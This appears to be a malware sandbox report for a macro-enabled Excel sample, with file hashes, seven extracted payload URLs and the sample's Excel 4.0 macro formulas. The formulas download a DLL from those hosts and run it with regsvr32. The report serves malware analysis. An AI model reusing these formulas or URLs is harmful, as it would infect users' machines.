Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Behavioral task
behavioral1
Sample
02f6bb0a4a3492090cfa8b18c504086c598ed59ebe97cc2f15c7ff1a0a8f66b0.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
02f6bb0a4a3492090cfa8b18c504086c598ed59ebe97cc2f15c7ff1a0a8f66b0.xlsm
Resource
win10v2004-20241007-en
General
-
Target
02f6bb0a4a3492090cfa8b18c504086c598ed59ebe97cc2f15c7ff1a0a8f66b0
-
Size
30KB
-
MD5
93bd5ed6362ed3ea3eb3d4429b62fd7c
-
SHA1
2f544abdabdf1c951a8951343e0fea337fbda5cc
-
SHA256
02f6bb0a4a3492090cfa8b18c504086c598ed59ebe97cc2f15c7ff1a0a8f66b0
-
SHA512
a1b6964dd207669a1ae31de5df8cd281e2c45c997606a908494cd37af87d765de87ab0ded07d9b6f4ef6e099464c456cb0d8f4029c7b5757d86aabf90560c39f
-
SSDEEP
384:H842JZPFhNjtOA7icg0SCdiVH2KgUrNU/qWhZOdBNPJM+kqr9eCgh0k5M2E6v:AHFhNZliH2ydFfPdkqstJhE6v
Malware Config
Extracted
http://henrysfreshroast.com/6cc4ts0bkrOlXq/
http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/
http://blog.centerking.top/wp-includes/DBq5jx/
http://polarrefrigeracao.com.br/fontes/y7QpO/
http://filmsetserie.dx.am/img/ghCY9J5KD1J/
https://vagbharati.in/wp-admin/nYBb/
http://advogadogoiania.com.br/wp-includes/O9Az4/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/6cc4ts0bkrOlXq/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/DBq5jx/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://polarrefrigeracao.com.br/fontes/y7QpO/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://filmsetserie.dx.am/img/ghCY9J5KD1J/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vagbharati.in/wp-admin/nYBb/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://advogadogoiania.com.br/wp-includes/O9Az4/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
Files
-
02f6bb0a4a3492090cfa8b18c504086c598ed59ebe97cc2f15c7ff1a0a8f66b0.xlsm office2007